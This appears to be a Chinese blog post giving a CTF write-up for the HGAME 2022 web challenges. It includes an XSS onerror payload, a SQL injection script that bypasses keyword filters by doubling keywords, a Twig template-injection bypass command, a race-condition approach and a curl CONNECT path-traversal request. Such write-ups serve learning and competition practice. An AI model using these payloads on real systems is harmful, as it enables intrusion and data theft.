0%

hgame 2022 web

hgame 2022 web

带着大一萌新一起看题,边做边记录一下,整体坐下来感觉并不是特别好呢。。。感觉比较坑的题占了一小半的数量。。。不过蹭别人的题就不要再逼逼赖赖了

week1

ezauth

先试试jwt cracker,然后Ubuntu16.04的openssl的版本是1.0.2,有点古老
编译起来之后运行报错,翻下代码能发现是EVP_get_digestbyname这个函数似乎有问题,搜索一下大概是这个原因
https://github.com/openssl/openssl/issues/6390

既然如此就手动更新一下openssl到1.1.1m,也跑不起来。。。恐怕是手动安装的不完善?然后尝试主动调用OpenSSL_add_all_algorithms也报错,懒得深究了,事实证明Ubuntu16.04也许快被时代淘汰了,换到18.04后自带的1.1.1l的openssl就没有问题
docker启动。。。
docker还卡的要死,用的alpine,得手动apk换源
跑了几分钟无果,看起来不是爆破密钥

空密钥,jwt.io改了直接过,脑溢血脑溢血

蛛蛛

观察一下页面就知道每轮只有一个href有内容,匹配一下一路跟进就行了,key目测是随机生成的,防止猜出来key的规律吧?
写个简单脚本就能追到,最后的flag在header里

import requests
import re

url = "https://hgame-spider.vidar.club/dfc224a39d"

pattern = re.compile("<a href=\"(\?key=.*?)\">")
href = ""
while True:
    res = requests.get(url+href)
    try:
        href = re.search(pattern, res.text).groups()[0]
        print(href)
    except AttributeError:
        print(res.text)
        break

tetris plus

前端题,给的是HTML就猜出来一半了,开控制台看source里面的js,幸好没加混淆,那个叫check.js的看起来就很像是对比分数的地方,一翻就翻到了5k分的判断语句(翻不到也可以把代码下下来全局搜索,一样的),然后是一个base64的内容,解码出来是flag不在这,但下面有一行注释,看得出来是jsfuck。

其实也就是js代码,直接复制粘贴在控制台里执行就输出flag了

fujiwara tofu shop

经典http header,但是有点脑洞。

week2

Apache!

看描述就能猜出来是Apache的mod_proxy的ssrf,给了一堆配置文件,找到/proxy路由是Apache代理的路由,然后payload复制粘贴打通

比较坑的一点是内网的机子似乎不太稳定,一开始打了好几下没打通,一顿狂打才通了一次

webpack-engine

理论上来说webpack会超级混淆前端代码使人无法理解,但如果有source map就能还原,然而这里给了sourcemap,理论上来说这是部署错误导致的,可以从sourcemap中还原出原代码。这里base64解一下就有了

At0m的留言板

点名批评出题人,强行引流关注公众号
就是一个过滤了script标签的xss,一开始没有看见在script里定义的有flag,还以为是个ssti,简单打了两下没反应才看见

再次点名批评,给的模板中代码写的flag的名字就是flag,打了半天没反应,我还以为打不了,最后老国王提出用img的alt属性来进行回显,发现使用变量时都不会有效,而在不同标签下定义的变量应该是互通的,就感觉不对劲了,最后直接读标签内容才发现出题人flag的名字还藏了一手,恶心人是吧
<img onerror="let a=document.getElementsByTagName('script')[0].text;this.alt=a" src="http://aa/" alt=0>

Pokemon

一SQL注入,替换关键字为空,有回显和部分报错。从error.php那个code那里注的。。。
宝可梦选择那不知道能不能注,没测
因为有部分报错就能看出来是替换关键字为空,双写即可。

import requests

url = "http://121.43.141.153:60056/error.php"
payload = "1 union select group_concat(table_name),2 from information_schema.tables where table_schema = database()".replace(" ","\t").replace("union", "uniunionon").replace("select", "seleselectct").replace("or", "oorr").replace("from", "frfromom").replace("where", "whewherere").replace("=","like")
payload = "1 union select group_concat(column_name),2 from information_schema.columns where table_name = 'fllllllllaaaaaag'".replace(" ","\t").replace("union", "uniunionon").replace("select", "seleselectct").replace("or", "oorr").replace("from", "frfromom").replace("where", "whewherere").replace("=","like")
payload = "1 union select flag,2 from fllllllllaaaaaag".replace(" ","\t").replace("union", "uniunionon").replace("select", "seleselectct").replace("or", "oorr").replace("from", "frfromom").replace("where", "whewherere").replace("=","like")
res = requests.get(url, params={"code": payload})
print(res.text)

一本单词书

本周唯一有意思一点的题目,就是个反序列化逃逸
思路也不是很复杂,因为反序列化是通过|进行分割的,只需要构造一下字符串逃逸出来即可。用脑袋想可能不是很容易想出来,把代码魔改一下对着输出改就会简单很多
(这里我忘记序列化最后有一个分号导致多调试了几分钟)

week3

只有两个题了?

SecurityCenter

前端源码里面有hint,打开一看意思就是用的twig模板渲染,然后直接复制粘贴一个payload就能打通
似乎进行了cat的过滤,也不允许回显有hgame。随便写点破烂绕过。例如head /fl*|base64

Vidar shop demo

vue写的前后端分离

感觉有点像条件竞争?
在创建订单和支付订单的时候有几个似乎没有用的参数
取消订单的时候会退钱。有一种想法是开了个号用一个号给另一个付钱,然后试试能不能退回来,结果发现不能给其他人付款。那就试试退钱的时候能不能竞争一下退两份钱

果然,写了个非常破烂的脚本都能竞争起来。。。
还是想办法写一个牛逼一点的竞争脚本吧。。。

说起来强有力的新生@黎明余光同学发现了一个非预期,在前端翻接口翻到了一个/api/pay/callback。然后对着这个接口发一个订单号就能直接把这个订单变成已支付状态。第一反应官方后门?
出题方的解释是该接口忘记做权限限制了,但从安全的角度考虑这段代码的意义非常不明。如果是用于在支付成功后服务端访问该接口进行订单状态修改,那为什么不直接把这段逻辑塞到对应位置而是多写一个API呢?

后来学弟和我说他们这个是从哪抄的代码套用的。。。我就知道,然后学弟发现了另一个非预期,申请的订单不支付也能直接通过API取消,取消了也退钱。。。

以及这里的竞争是竞争付款。不是退款。在付款处sleep了0.5s,导致用手点都能竞争成功

还有个啥SQLite注入题,后来上的没看

week4

赛题质量再次变得玄幻?感觉出题人有点技穷了

Markdown Online

看起来像原型链污染,仔细看一下又感觉不像

先绕过登录,登录这里是利用try catch直接过检测登进去,理论上来说try catch应该直接返回个报错退出的,这里啥都没做,那就只要进了catch检测无所谓了,因为没看见用express的经典json解析,想着整一个数组试试,结果直接提示用json,那我就不客气了。仔细一看才发现是自己写了个json解析

看起来有一个究极原型链污染的点deap.merge({}, JSON.parse(buffer.toString())),并且这个地方是自己实现的json解析,看起来就很有洞。结果跟进去这个deap库一看,遍历用的Object.keys,那就没打头了。并且搜索这个库也没有发现原型链污染相关的漏洞。

然后就是看后面的zombie,这个rce是祥云杯出过的,见过,但是说起来好像不是很好搜。。。这里就是加了点过滤,不给用加号用String.concat绕过即可。(这里用的祥云杯上找的老payload,有点长,学弟直接用的eval。。。方便多了,没注意看)

但是这里又出现了各种无法理解的坑,比如本地通了远程不通之类的。然后搭了个docker,本地docker通了远程不通。最后问了下学弟发现他用的execSync就能通,我用的spawnSync就不能通。sleep延时成功了,但是不知道机器通不通外网,同样的本地机器通了,远程机器shell弹不出来。总不能让我盲注读flag吧。没那个耐心,告辞

Comment

看起来是个xxe,有一堆过滤,但最后拿flag的条件很简单。实体编码就直接过了。。。flag给了个提示好像要我用什么奇怪的协议?没仔细看

FileSystem

这个题单出出来难度->正无穷。不过对于赛棍而言就是秒杀了。。。因为这个题是有一个国际赛上出的。我看这个题差不多出了30个人。。。但是我印象里国际赛的时候解题人数应该不会比现在多。希望是大家的搜索能力有所提升。说起来这搜我也感觉不是很好搜来着。我自己都找不到是哪场比赛里出现的了

并且对于萌新而言这个题目太抽象了。萌新能看懂发生了什么吗?
起了一个文件服务器,然后把flag文件整了个对应的路由,这样子访问那个路径就是访问对应的路由了,从而拿不到flag
以及最后听的端口是8889,但我实际访问的是80。真就整个nginx反带一堆?真有耐心啊
curl --path-as-is -X CONNECT http://db907b5a72.filesystem.hgame.homeboyc.cn/./there_may_be_a_flag
实际打法就是那个比赛的payload,直接connect方法打通
https://book.hacktricks.xyz/pentesting/pentesting-web/golang

说起来到底是哪场比赛来着。。。